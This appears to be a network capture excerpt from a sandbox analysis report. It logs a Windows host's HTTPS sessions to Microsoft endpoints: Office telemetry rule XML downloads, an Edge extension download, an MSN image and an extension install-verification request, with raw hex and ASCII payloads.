2024-11-26 09:09:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49893	23.44.133.31	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:44 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733216964&P2=404&P3=2&P4=VlUaRScwa%2bk8%2fJ3lzqx9ant9gM2CgrDzMsPwE9aOtYkju3zTdnu1qMmxZTFnae7dRQw4U4ZPCrzSbZ86mLDCbA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 2WkJQfW5L5rMMk3Fyz8dtl Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:44 UTC	1254	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 6e3a1d16-4c83-4c27-9db9-44b0f13238f5 MS-RequestId: 52b9d264-2ea3-4038-a814-49ea105eb264 MS-CV: 9DVOWDpw4jFVzly40ypoVP.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86390 Date: Tue, 26 Nov 2024 09:09:44 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.44.134.28,b=518339705,c=g,n=US_NJ_PISCATAWAY,o=20940],[c=c,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.1c862c17.1732612184.1ee53c79 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-26 09:09:44 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090944Z-174f7845968v75bwhC1EWRuqen0000000g4g000000005ky6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:44 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090944Z-174f7845968v75bwhC1EWRuqen0000000g80000000001ds4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:44 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090944Z-174f7845968nxc96hC1EWRspw80000000uyg0000000056es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:44 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090945Z-174f7845968xr5c2hC1EWRd0hn0000000c50000000001hzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:44 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090945Z-174f7845968n2hr8hC1EWR9cag0000000uwg000000003ncx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49897	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:45 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:46 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: 5763b2c5-4e9a-486b-a0ff-57403523bc58 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=239703 Expires: Fri, 29 Nov 2024 03:44:49 GMT Date: Tue, 26 Nov 2024 09:09:46 GMT Connection: close
2024-11-26 09:09:46 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090946Z-174f78459688l8rvhC1EWRtzr000000007qg00000000a56w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:47 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49901	204.79.197.239	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:47 UTC	459	OUT	POST /extensioninstallverifier/v1.1/installverify HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Content-Length: 119 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:47 UTC	119	OUT	Data Raw: 7b 22 68 61 73 68 22 3a 22 4a 74 59 73 6c 75 32 53 39 58 63 61 53 74 50 6a 35 30 2b 6b 7a 4f 6a 56 52 59 79 58 72 52 4d 54 7a 6e 53 66 6c 35 71 4d 75 37 38 3d 22 2c 22 69 64 73 22 3a 5b 22 6a 6d 6a 66 6c 67 6a 70 63 70 65 70 65 61 66 6d 6d 67 64 70 66 6b 6f 67 6b 67 68 63 70 69 68 61 22 5d 2c 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 31 7d Data Ascii: {"hash":"JtYslu2S9XcaStPj50+kzOjVRYyXrRMTznSfl5qMu78=","ids":["jmjflgjpcpepeafmmgdpfkogkghcpiha"],"protocol_version":1}
2024-11-26 09:09:47 UTC	335	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 420 Content-Type: application/json; charset=utf-8 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1D7C00E9F30F4A38BB924E4094820E80 Ref B: EWR30EDGE0210 Ref C: 2024-11-26T09:09:47Z Date: Tue, 26 Nov 2024 09:09:47 GMT Connection: close
2024-11-26 09:09:47 UTC	420	IN	Data Raw: 7b 22 73 69 67 6e 61 74 75 72 65 22 3a 22 6f 58 61 78 32 53 63 6e 4b 46 77 35 79 58 6e 76 64 48 6c 2b 75 79 32 6c 79 77 32 78 4d 78 36 76 43 70 31 5a 74 75 44 38 38 70 74 4e 41 6f 71 70 65 4d 72 41 62 46 64 58 42 46 58 32 73 78 6f 61 77 54 4b 75 72 32 6f 72 52 65 76 4d 56 4d 34 47 33 2f 4b 39 69 76 45 5a 5a 55 4c 4c 50 4a 57 76 2b 49 39 4b 52 77 50 48 63 35 64 50 70 61 32 52 34 7a 78 6d 76 32 62 51 35 38 45 4e 78 4b 43 7a 63 35 77 4f 72 30 4f 74 69 4c 4c 79 6d 6d 31 77 43 46 69 46 31 6f 34 67 72 36 2f 51 70 61 79 31 33 55 78 77 43 6d 51 6d 75 4f 6b 43 34 47 4e 63 6e 46 47 43 71 47 4a 45 39 59 56 69 6b 6f 39 4c 6c 2b 69 57 33 50 42 35 79 67 4a 74 6c 55 58 43 30 54 30 4d 49 4c 7a 34 6b 54 33 69 48 2b 47 54 78 36 38 6a 6d 44 33 46 41 59 39 6a 42 54 68 6b 67 Data Ascii: {"signature":"oXax2ScnKFw5yXnvdHl+uy2lyw2xMx6vCp1ZtuD88ptNAoqpeMrAbFdXBFX2sxoawTKur2orRevMVM4G3/K9ivEZZULLPJWv+I9KRwPHc5dPpa2R4zxmv2bQ58ENxKCzc5wOr0OtiLLymm1wCFiF1o4gr6/Qpay13UxwCmQmuOkC4GNcnFGCqGJE9YViko9Ll+iW3PB5ygJtlUXC0T0MILz4kT3iH+GTx68jmD3FAY9jBThkg

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:47 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090947Z-174f7845968v75bwhC1EWRuqen0000000g5g000000004fdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:47 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S 